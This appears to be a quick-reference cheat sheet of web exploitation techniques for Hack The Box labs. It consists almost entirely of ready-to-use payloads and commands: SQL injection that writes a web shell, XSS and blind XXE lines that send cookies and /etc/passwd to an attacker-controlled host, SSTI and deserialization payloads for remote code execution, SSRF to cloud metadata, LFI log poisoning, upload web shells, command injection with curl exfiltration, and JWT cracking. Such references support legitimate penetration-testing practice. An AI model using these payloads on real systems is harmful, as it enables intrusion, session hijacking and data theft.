Web Application
Quick reference for web exploitation techniques used in HTB machines and challenges.
Reconnaissance
# Directory brute-forcegobuster dir -u http://10.10.10.X -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50feroxbuster -u http://10.10.10.X -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
# File discoverygobuster dir -u http://10.10.10.X -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -x php,asp,aspx,jsp,txt,html,js,bak,old
# Vhost/subdomain discoverygobuster vhost -u http://domain.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domainffuf -u http://domain.htb -H "Host: FUZZ.domain.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <default_size>
# Parameter fuzzingffuf -u http://10.10.10.X/page?FUZZ=test -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs <default_size>
# Technology fingerprintwhatweb http://10.10.10.Xwappalyzer (browser extension)SQL Injection
# Detection' OR 1=1--" OR 1=1--' OR '1'='11' ORDER BY 10-- -
# Union-based' UNION SELECT NULL,NULL,NULL-- -' UNION SELECT 1,2,3-- -' UNION SELECT username,password,3 FROM users-- -
# Error-based (MySQL)' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- -
# Time-based blind' AND SLEEP(5)-- -'; WAITFOR DELAY '0:0:5'-- -
# SQLMapsqlmap -u "http://10.10.10.X/page?id=1" --batch --dbssqlmap -u "http://10.10.10.X/page?id=1" -D dbname --tablessqlmap -u "http://10.10.10.X/page?id=1" -D dbname -T users --dumpsqlmap -r request.txt --batch --dbs # From Burp saved request
# Out-of-band' UNION SELECT LOAD_FILE('/etc/passwd'),2,3-- -' UNION SELECT 1,2,3 INTO OUTFILE '/var/www/html/shell.php'-- -Cross-Site Scripting (XSS)
<!-- Reflected --><script>alert(1)</script><img src=x onerror=alert(1)><svg onload=alert(1)>"><script>alert(1)</script>'-alert(1)-'
<!-- Stored - Cookie stealing --><script>new Image().src="http://10.10.14.X/?c="+document.cookie</script><script>fetch('http://10.10.14.X/?c='+document.cookie)</script>
<!-- DOM-based --><img src=x onerror="fetch('http://10.10.14.X/?c='+document.cookie)">
<!-- Filter bypass --><ScRiPt>alert(1)</ScRiPt><script>alert`1`</script><details open ontoggle=alert(1)><img src=x onerror=eval(atob('YWxlcnQoMSk='))>Server-Side Template Injection (SSTI)
# Detection{{7*7}}${7*7}<%= 7*7 %>#{7*7}${{7*7}}
# Jinja2 (Python/Flask){{config}}{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}{{''.__class__.__mro__[1].__subclasses__()}}
# Twig (PHP){{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Freemarker (Java)<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# ERB (Ruby)<%= system("id") %><%= `id` %>Server-Side Request Forgery (SSRF)
# Basichttp://127.0.0.1http://localhosthttp://0.0.0.0
# Bypass filtershttp://0177.0.0.1 # Octalhttp://2130706433 # Decimalhttp://0x7f000001 # Hexhttp://127.1 # Shorthttp://[::1] # IPv6http://127.0.0.1.nip.io # DNS rebinding
# Cloud metadatahttp://169.254.169.254/latest/meta-data/ # AWShttp://metadata.google.internal/ # GCPhttp://169.254.169.254/metadata/instance # Azure
# Internal port scanninghttp://127.0.0.1:PORT/
# File read via file://file:///etc/passwdLocal File Inclusion (LFI)
# Basic../../../etc/passwd....//....//....//etc/passwd
# Null byte (PHP < 5.3)../../../etc/passwd%00
# Double encoding%252e%252e%252f%252e%252e%252fetc/passwd
# PHP wrappersphp://filter/convert.base64-encode/resource=index.phpphp://input (POST data as PHP code)data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=expect://id
# Log poisoning/var/log/apache2/access.log (inject PHP in User-Agent)/var/log/auth.log (inject PHP in SSH username)/proc/self/environ (inject PHP in User-Agent header)
# Path traversal with wrappersphp://filter/read=convert.base64-encode/resource=../../../etc/passwdFile Upload Bypass
# Extension bypassshell.php.jpgshell.pHpshell.php5shell.phtmlshell.php%00.jpgshell.php.png
# Content-Type bypassContent-Type: image/jpegContent-Type: image/png
# Magic bytesGIF89a; <?php system($_GET['cmd']); ?>
# .htaccess uploadAddType application/x-httpd-php .jpg
# Double extensionshell.php.jpg (if server checks last extension)shell.jpg.php (if server checks first extension)Command Injection
# Separators; id
| id|| id& id&& id`id`$(id)
# Newline%0aid
# Blind (out-of-band); curl http://10.10.14.X/$(whoami); ping -c 1 10.10.14.X
# Bypass filtersc'a't /etc/passwdc\at /etc/passwdcat${IFS}/etc/passwd{cat,/etc/passwd}Deserialization
# Java# ysoserialjava -jar ysoserial.jar CommonsCollections1 'id' | base64
# PHP# phpggcphpggc Laravel/RCE1 system id
# Python (Pickle)import pickle, osclass Exploit: def __reduce__(self): return (os.system, ('id',))pickle.dumps(Exploit())
# .NET# ysoserial.net.\ysoserial.exe -g TypeConfuseDelegate -f Json.Net -c "ping 10.10.14.X"JWT Attacks
# Decodeecho "JWT_TOKEN" | cut -d. -f2 | base64 -d
# None algorithm# Change header to: {"alg":"none","typ":"JWT"}# Remove signature
# Key confusion (RS256 -> HS256)# Sign with public key as HMAC secret
# Brute force secrethashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txtjohn jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# jwt_toolpython3 jwt_tool.py JWT_TOKEN -C -d /usr/share/wordlists/rockyou.txtpython3 jwt_tool.py JWT_TOKEN -X a # Algorithm none attackpython3 jwt_tool.py JWT_TOKEN -X k -pk public.pem # Key confusionXXE (XML External Entity)
<!-- Basic file read --><?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>
<!-- SSRF --><?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal:8080/">]><root>&xxe;</root>
<!-- Blind XXE (out-of-band) --><?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://10.10.14.X/evil.dtd">%xxe;]>
<!-- evil.dtd --><!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"><!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://10.10.14.X/?data=%file;'>">%eval;%exfil;Useful Wordlists (SecLists)
Discovery/Web-Content/raft-medium-directories.txtDiscovery/Web-Content/raft-medium-files.txtDiscovery/Web-Content/common.txtDiscovery/Web-Content/directory-list-2.3-medium.txtDiscovery/DNS/subdomains-top1million-5000.txtFuzzing/LFI/LFI-Jhaddix.txtPasswords/Leaked-Databases/rockyou.txtUsernames/Names/names.txt